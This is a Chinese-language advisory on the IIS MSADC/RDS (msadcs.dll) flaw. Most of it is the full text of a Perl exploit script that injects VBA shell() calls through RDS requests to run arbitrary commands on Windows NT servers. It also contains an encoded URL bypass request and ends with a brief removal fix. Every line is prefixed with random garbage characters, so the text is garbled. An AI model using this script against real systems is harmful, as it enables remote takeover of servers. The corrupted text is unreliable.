IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
!{+CzUo@ u3qxG3 涉及程序:
,*W~M&n"m Microsoft NT server
?l%4
P5 AR( gI]1 描述:
LQ k^l` 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
tgG
8pL 8GW+: 详细:
yq|yGf(4& 如果你没有时间读详细内容的话,就删除:
D|(\5]:R c:\Program Files\Common Files\System\Msadc\msadcs.dll
N{bg-%s10i 有关的安全问题就没有了。
8<}=f4vUj5 (" :Dz_ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
nZnqXclzxn A^FkU 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
n*$g1 HG6 关于利用ODBC远程漏洞的描述,请参看:
wG MhKZE .F$}a% http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ByP<-Deh >k`qPpf& 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
k^|z.$+ http://www.microsoft.com/security/bulletins/MS99-025faq.asp IrZ\;!NK ,gZp/ yJ; 这里不再论述。
er24}G8 d #1&"( 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
_+9i A z@@0 /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
]QR]#[Tn' 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
#tA9`! 75p9_)>96 VD&wO'U #将下面这段保存为txt文件,然后: "perl -x 文件名"
?xUl_ >b"@{MZ@t #!perl
Wjq9f; #
|~%RSS~b* # MSADC/RDS 'usage' (aka exploit) script
!yj1X
Ar #
QyL]-zNg # by rain.forest.puppy
kSEA #
ssQ1u.x9 # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Q 8Ek}O\MC # beta test and find errors!
BMO,eQcB }iDRlE, use Socket; use Getopt::Std;
l=9D!64 getopts("e:vd:h:XR", \%args);
pD[&,gV$ 3HXeBW print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
ZiY2N*,VO V0m1>{ if (!defined $args{h} && !defined $args{R}) {
KO8vUR*2R print qq~
gQik>gFr Usage: msadc.pl -h <host> { -d <delay> -X -v }
!QAndg{;D -h <host> = host you want to scan (ip or domain)
U%r{{Q1 -d <seconds> = delay between calls, default 1 second
i#YDdz -X = dump Index Server path table, if available
4w%hvJ -v = verbose
XelFGT E -e = external dictionary file for step 5
%P1zb7:8 z^gz kXx7 Or a -R will resume a command session
_:Q^mV=;j l+6@,TY1U ~; exit;}
FEhBhv|m }`
`oojz $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
jo"+_)] if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=aj|auu if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
$#e}9g. if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
M.5F|7 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
X)]>E]X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
! weYOOu o(v` if (!defined $args{R}){ $ret = &has_msadc;
1*9 Yy~w die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
(*eX'^Q)d mhIGunK;+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
N0lFx?4 . "cmd /c ";
EX<1hAw $in=<STDIN>; chomp $in;
"o;%em*Bc $command="cmd /c " . $in ;
G2[2y-Rv eWYet2!Q if (defined $args{R}) {&load; exit;}
uJ=&++[ /-<]v3J print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
T06w`'aL &try_btcustmr;
coaJDg+ 3H"F~_H print "\nStep 2: Trying to make our own DSN...";
#9"lL1 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
z}5'TV=^ 25, [<Ao print "\nStep 3: Trying known DSNs...";
ND9;%<80 &known_dsn;
.*EP$pc Q4ii25]* print "\nStep 4: Trying known .mdbs...";
ZMyd+C_P2 &known_mdb;
(o6u^#6 ~c1~)QzZ if (defined $args{e}){
AsZyPybq print "\nStep 5: Trying dictionary of DSN names...";
<N80MUL| &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
IfRrl/!nw f}FJR6VO print "Sorry Charley...maybe next time?\n";
wL0"1Ya exit;
~;I{d7z,; A]V<K[9:b ##############################################################################
&E
k\ SR)@'-Wd sub sendraw { # ripped and modded from whisker
d7c m?+ sleep($delay); # it's a DoS on the server! At least on mine...
=(k0^#++G my ($pstr)=@_;
gY=+G6;=< socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
S
1Ji\ die("Socket problems\n");
}>j1j^c1=' if(connect(S,pack "SnA4x8",2,80,$target)){
8>:2li select(S); $|=1;
Z3T26Uk print $pstr; my @in=<S>;
p:U{3uN 62 select(STDOUT); close(S);
~u-`L+G"6 return @in;
Xg"Mjmr } else { die("Can't connect...\n"); }}
KQqQ@D&n w@f_TG"Vt ##############################################################################
}fxH>79g Md m(xUs sub make_header { # make the HTTP request
b}G +7B my $msadc=<<EOT
?Z7C0u#wd POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
|y=D^NTG User-Agent: ACTIVEDATA
q`;URkjk Host: $ip
IPE( Content-Length: $clen
ae1fCw3k Connection: Keep-Alive
qOa-@MN L,X6L @Q ADCClientVersion:01.06
Kd,m;S\ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
r*3XM{bZ/@ j({L6</x --!ADM!ROX!YOUR!WORLD!
CGg6n CB Content-Type: application/x-varg
Ri-wbYFaP Content-Length: $reqlen
EGMcU|yL T@HozZ EOT
p0YTZS ]h ; $msadc=~s/\n/\r\n/g;
*'t`;m~ return $msadc;}
1Q;`<= $1@{Zz!S ##############################################################################
`") I[h yq,5M1vR sub make_req { # make the RDS request
0UB'6wRVo my ($switch, $p1, $p2)=@_;
IH0^*f my $req=""; my $t1, $t2, $query, $dsn;
T<=\5mn n*xNMw1x"T if ($switch==1){ # this is the btcustmr.mdb query
BzUx@, $query="Select * from Customers where City=" . make_shell();
=gqZ^v&5U $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
q.X-2jjpx: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
@<sP1`1 bcE DjLXq elsif ($switch==2){ # this is general make table query
=f p(hX" $query="create table AZZ (B int, C varchar(10))";
Yb\36| $dsn="$p1";}
gy[uqm_ T ,J#5Y. elsif ($switch==3){ # this is general exploit table query
Fy@D&j $query="select * from AZZ where C=" . make_shell();
#WG(V%f] $dsn="$p1";}
0nuFWV >y@w-,1he elsif ($switch==4){ # attempt to hork file info from index server
={oO9.9 $query="select path from scope()";
M;bQid@BG $dsn="Provider=MSIDXS;";}
BW;u?1Xa #>V;ZV5" elsif ($switch==5){ # bad query
fe$WR~ $query="select";
-|kDa1knA $dsn="$p1";}
ij),DbWd ~}11 6K $t1= make_unicode($query);
HTG;'$H^ $t2= make_unicode($dsn);
yC5|"+
A$ $req = "\x02\x00\x03\x00";
XDGZqkt $req.= "\x08\x00" . pack ("S1", length($t1));
^eRuj)$5A $req.= "\x00\x00" . $t1 ;
>4E,_ `3N $req.= "\x08\x00" . pack ("S1", length($t2));
V]2z5u_q $req.= "\x00\x00" . $t2 ;
^b#E%Rd $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
ZjK~s)RC return $req;}
fYi!Z/Ck2 G!IQ<FuY ##############################################################################
F*=RP$sj S7vE[VF5 sub make_shell { # this makes the shell() statement
vX\e*
v return "'|shell(\"$command\")|'";}
>vU
Hf`4T Fqv5WoYVf ##############################################################################
BTyVfq
sx *Y ZLQT sub make_unicode { # quick little function to convert to unicode
ihVQ,Cth my ($in)=@_; my $out;
u|c+w)a for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
O#\>j return $out;}
I'C,' u"jnEKN0y ##############################################################################
1^3#3duV 7fqYSMHR sub rdo_success { # checks for RDO return success (this is kludge)
V]}b3Y!( my (@in) = @_; my $base=content_start(@in);
EiUV?Gvz if($in[$base]=~/multipart\/mixed/){
%K7}yy&9C return 1 if( $in[$base+10]=~/^\x09\x00/ );}
UJ[a&b return 0;}
d#Ajb -wfV ##############################################################################
]Yex#K
ise}> A!t sub make_dsn { # this makes a DSN for us
;>9pJ72r my @drives=("c","d","e","f");
Bl];^W^P print "\nMaking DSN: ";
W\7*T1TDj foreach $drive (@drives) {
l0{DnQA>I print "$drive: ";
=jt_1L4 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
beE%%C]X "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
Gu).*cU . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
z%tu6_4j $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
tqCg<NH.!m return 0 if $2 eq "404"; # not found/doesn't exist
KT71%?P if($2 eq "200") {
H@'
@xHv foreach $line (@results) {
,IE0+!I return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
rbbuSI } return 0;}
em}Qv3*# {2^@jD ##############################################################################
{W<-f? nn4Sy,cz sub verify_exists {
o q)"1 my ($page)=@_;
,&]`
b#Rc my @results=sendraw("GET $page HTTP/1.0\n\n");
C/Bx_j(( return $results[0];}
wtLMc T
l(uqY?9 ##############################################################################
&Ld8Z9IeFp z
5+]Z a~ sub try_btcustmr {
6 JYOe my @drives=("c","d","e","f");
1iL
xXd my @dirs=("winnt","winnt35","winnt351","win","windows");
N06O.bji 3>)BI(Wl foreach $dir (@dirs) {
g8A{aHb1} print "$dir -> "; # fun status so you can see progress
9mphj)`d;# foreach $drive (@drives) {
}p?V5Qp print "$drive: "; # ditto
bCUh^#]x $reqlen=length( make_req(1,$drive,$dir) ) - 28;
[(EH $reqlenlen=length( "$reqlen" );
W r7e_ $clen= 206 + $reqlenlen + $reqlen;
jYID44$ s
FYJQ90it my @results=sendraw(make_header() . make_req(1,$drive,$dir));
ULmdt
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
{eN{Zh5" else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
%&+R":Bw Prz+kPP ##############################################################################
D s,"E#? B\>}X_\4 sub odbc_error {
QYw4kD} my (@in)=@_; my $base;
Z)T@`B6
my $base = content_start(@in);
,h.Jfo54, if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
7C7(bg,7^ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
mW0&uSMD $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
^1yTL5#:Vw $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
4m[C-NB!g return $in[$base+4].$in[$base+5].$in[$base+6];}
{^5<{j3e print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
AnE_<sPA print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
zn;Hs]G $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
Z6([/n I+j|'=M ##############################################################################
) wo2GF U2>dwn sub verbose {
<bXWkj my ($in)=@_;
1L=Qg4 H return if !$verbose;
xnuv4Z}]t print STDOUT "\n$in\n";}
b|8>eY HZ<f( ##############################################################################
9_A0:S9Z H0b6ZA%n sub save {
8xpYQ<cax my ($p1, $p2, $p3, $p4)=@_;
} .H Fm'p open(OUT, ">rds.save") || print "Problem saving parameters...\n";
7}tZ?vD print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
g=g.GpFt close OUT;}
:n>ccZeMv )\D40,p ##############################################################################
w]Ko/;;^2 'UvS3]bSYW sub load {
Sd<@X@iU8D my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
HMS9y%zl/ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
4>"cc@8&~ @p=<IN>; close(IN);
^'u;e(AaE
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
7fW=5wc $target= inet_aton($ip) || die("inet_aton problems");
FH`'1iVH print "Resuming to $ip ...";
Ij6Wz.* $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
rv%ye
H
if($p[1]==1) {
+/!=Ub[:U $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
q~Q)'*m $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
VM]GYz|#] my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
h\u0{!@} if (rdo_success(@results)){print "Success!\n";}
R<lNk< else { print "failed\n"; verbose(odbc_error(@results));}}
e:GgA elsif ($p[1]==3){
mj(&`HRs4 if(run_query("$p[3]")){
T$8@2[ print "Success!\n";} else { print "failed\n"; }}
-wfRR>)d elsif ($p[1]==4){
|:(23O if(run_query($drvst . "$p[3]")){
SA(U D print "Success!\n"; } else { print "failed\n"; }}
4g 6ksdFQ exit;}
yA?ENAM L'\/)!cEd ##############################################################################
rZ!Yi*? f uFm+Y]h sub create_table {
hLyTUt~\L my ($in)=@_;
`j}_BW_ $reqlen=length( make_req(2,$in,"") ) - 28;
hSkc9jBF $reqlenlen=length( "$reqlen" );
vhYMWfbY $clen= 206 + $reqlenlen + $reqlen;
(!0j4' my @results=sendraw(make_header() . make_req(2,$in,""));
U50s!Zt45 return 1 if rdo_success(@results);
4#@W;' my $temp= odbc_error(@results); verbose($temp);
|ilv|U V return 1 if $temp=~/Table 'AZZ' already exists/;
&$b\= return 0;}
`\/toddUh[
e'~-`Z9-) ##############################################################################
BLL]^qN;Y 2<[eD`u sub known_dsn {
<DeKs?v # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
FpdDIa my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
d1~_?V'r] "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
$Wr\[P: "banner", "banners", "ads", "ADCDemo", "ADCTest");
<$i"zb "K|)<6J foreach $dSn (@dsns) {
6%gB
E print ".";
E\]OySC%C$ next if (!is_access("DSN=$dSn"));
J+)'-OFt0 if(create_table("DSN=$dSn")){
Y{k>*: Ax_ print "$dSn successful\n";
>H0) ph if(run_query("DSN=$dSn")){
5q|+p?C print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
U,Z"G1^ print "Something's borked. Use verbose next time\n";}}} print "\n";}
x],8yR)R $nB-ADRu@ ##############################################################################
DR
k]{^C~ Aautih@LX sub is_access {
\C]i|]tl my ($in)=@_;
2[Z0I4r $reqlen=length( make_req(5,$in,"") ) - 28;
R*s* +I $reqlenlen=length( "$reqlen" );
}Vvsh3 $clen= 206 + $reqlenlen + $reqlen;
X}oj_zsy;^ my @results=sendraw(make_header() . make_req(5,$in,""));
c%|vUAq* my $temp= odbc_error(@results);
T)WZ_bR verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p=!#],[ return 0;}
(Ij0AeJ# I3Lg?bZ ##############################################################################
:{[<g]( >f&xJq sub run_query {
BJ~ivT< my ($in)=@_;
j((hqJr $reqlen=length( make_req(3,$in,"") ) - 28;
<"*"1(wN $reqlenlen=length( "$reqlen" );
PC*m%
?+ $clen= 206 + $reqlenlen + $reqlen;
]EB6+x!G my @results=sendraw(make_header() . make_req(3,$in,""));
;aq `N}d return 1 if rdo_success(@results);
n
vm^k my $temp= odbc_error(@results); verbose($temp);
B,3 t` return 0;}
@ru<4`h jvu
N ##############################################################################
wD`[5~C{ Z.!g9fi8> sub known_mdb {
brb[})} my @drives=("c","d","e","f","g");
j5kA^MTG my @dirs=("winnt","winnt35","winnt351","win","windows");
Ba<ngG
! my $dir, $drive, $mdb;
P3G:th@j= my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
g;8M<`qvf Zp`~}LV{ # this is sparse, because I don't know of many
8=:A/47=J my @sysmdbs=( "\\catroot\\icatalog.mdb",
Y+FP "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
@|Dm E!) "\\system32\\certmdb.mdb",
29%=: *R$ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
D -6 i<mevL
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
`aIG;@Z "\\cfusion\\cfapps\\forums\\forums_.mdb",
~P/]:= "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
!}ilN 1> "\\cfusion\\cfapps\\security\\realm_.mdb",
>rKhlUD "\\cfusion\\cfapps\\security\\data\\realm.mdb",
/9 pbnzn "\\cfusion\\database\\cfexamples.mdb",
i-b1d'?Rb "\\cfusion\\database\\cfsnippets.mdb",
I:F
<vE "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
L;3aZt,#O "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
PB+\jj "\\cfusion\\brighttiger\\database\\cleam.mdb",
6+iK!&+= "\\cfusion\\database\\smpolicy.mdb",
y1iX!m~) "\\cfusion\\database\cypress.mdb",
8'KMxR "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
fWj@e"G "\\website\\cgi-win\\dbsample.mdb",
gGI8t@t: "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
p5-<P?B "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
pw3(t ); #these are just
Atd1qJ foreach $drive (@drives) {
P{cos&X| foreach $dir (@dirs){
12lEs3 foreach $mdb (@sysmdbs) {
^!}F% print ".";
Ihg~Q4t if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%K?iNe print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
\!<"7=(J{4 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
tq&Yek>C print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
#/+I*B*y } else { print "Something's borked. Use verbose next time\n"; }}}}}
"y$ qrN- ;g9% & foreach $drive (@drives) {
n+?- foreach $mdb (@mdbs) {
#W|!fILL print ".";
WYLX?x if(create_table($drv . $drive . $dir . $mdb)){
fL Nag~
print "\n" . $drive . $dir . $mdb . " successful\n";
GJ `UO if(run_query($drv . $drive . $dir . $mdb)){
4%7s259% print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
JT)k } else { print "Something's borked. Use verbose next time\n"; }}}}
&Mj1CvCv }
/cfHYvnz Cw#V`70a ##############################################################################
hgO?+x [))JX"a sub hork_idx {
W2 <3C print "\nAttempting to dump Index Server tables...\n";
H)5QqZ8 print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
F7T E|LZ $reqlen=length( make_req(4,"","") ) - 28;
~<,Sh~Ana. $reqlenlen=length( "$reqlen" );
C3}Aq8$6 $clen= 206 + $reqlenlen + $reqlen;
P}@*Z>j:# my @results=sendraw2(make_header() . make_req(4,"",""));
>vVw!.fJ if (rdo_success(@results)){
X NE+(Bt my $max=@results; my $c; my %d;
e+@xsn3 for($c=19; $c<$max; $c++){
b_vTGl1_6 $results[$c]=~s/\x00//g;
%[Zz0|A $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
k[9A,N^lZB $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
s;1e0n $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
|>2:eH $d{"$1$2"}="";}
_~A~+S} foreach $c (keys %d){ print "$c\n"; }
8lwM{?k$ } else {print "Index server doesn't seem to be installed.\n"; }}
^ ulps**e ~@P )tl> ##############################################################################
Y Pszk5hn 0S.?E.-&0 sub dsn_dict {
?"j@;/= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
>^3zU while(<IN>){
+'XhC#: $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
Mr*|9h next if (!is_access("DSN=$dSn"));
2EfflZL3 if(create_table("DSN=$dSn")){
uTGcQs} print "$dSn successful\n";
54q3R`y if(run_query("DSN=$dSn")){
Y6ben7j%- print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
0JXqhc9' print "Something's borked. Use verbose next time\n";}}}
]yLhJ_^ print "\n"; close(IN);}
W-D[z#)/Y 7lU.Nit ##############################################################################
&&PgOFD 0M8.U sub sendraw2 { # ripped and modded from whisker
~ E *d G sleep($delay); # it's a DoS on the server! At least on mine...
;&,.TC?l my ($pstr)=@_;
IKcKRw/O$ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
U)[ty@zyF die("Socket problems\n");
LC-)'Z9}5 if(connect(S,pack "SnA4x8",2,80,$target)){
h\y-L~2E print "Connected. Getting data";
\L[i9m| e open(OUT,">raw.out"); my @in;
.7Kk2Y select(S); $|=1; print $pstr;
E*|tOj9`1n while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.mPg0 close(OUT); select(STDOUT); close(S); return @in;
Kx6y"
{me| } else { die("Can't connect...\n"); }}
QIV%6q+*R %^.P~s6 ##############################################################################
np6HUH sR*Nq5F#9 sub content_start { # this will take in the server headers
S()Za@ [a$ my (@in)=@_; my $c;
_e'Y3:
for ($c=1;$c<500;$c++) {
nb+m.X if($in[$c] =~/^\x0d\x0a/){
-x'e+zT if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
uD)-V;}P@; else { return $c+1; }}}
3s(Ia^ return -1;} # it should never get here actually
ZBc|438[ rt b* n~ ##############################################################################
D,rZ0?R 'IQsve7cI sub funky {
rsF:4G"% my (@in)=@_; my $error=odbc_error(@in);
40K2uT{cq if($error=~/ADO could not find the specified provider/){
?~F. / print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Vxh.<b6&' exit;}
% vS8?nG if($error=~/A Handler is required/){
F2>%KuM print "\nServer has custom handler filters (they most likely are patched)\n";
?R6`qe_F exit;}
vA-PR& if($error=~/specified Handler has denied Access/){
|}S1o0v{(a print "\nServer has custom handler filters (they most likely are patched)\n";
v>-YuS exit;}}
kuS/S\Z5K I@./${o ##############################################################################
oR %agvc^^ =A n`D sub has_msadc {
Ew4g'A:H my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
&!1}`4$[T my $base=content_start(@results);
OM!=ViN(= return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
s4t0f_vj` return 0;}
s4,(26y <abKiXA" ########################
uva\0q #IX&9 aFB} zj20;5o>U& 解决方案:
6P+DnS[] 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
GqUSVQ 2、移除web 目录: /msadc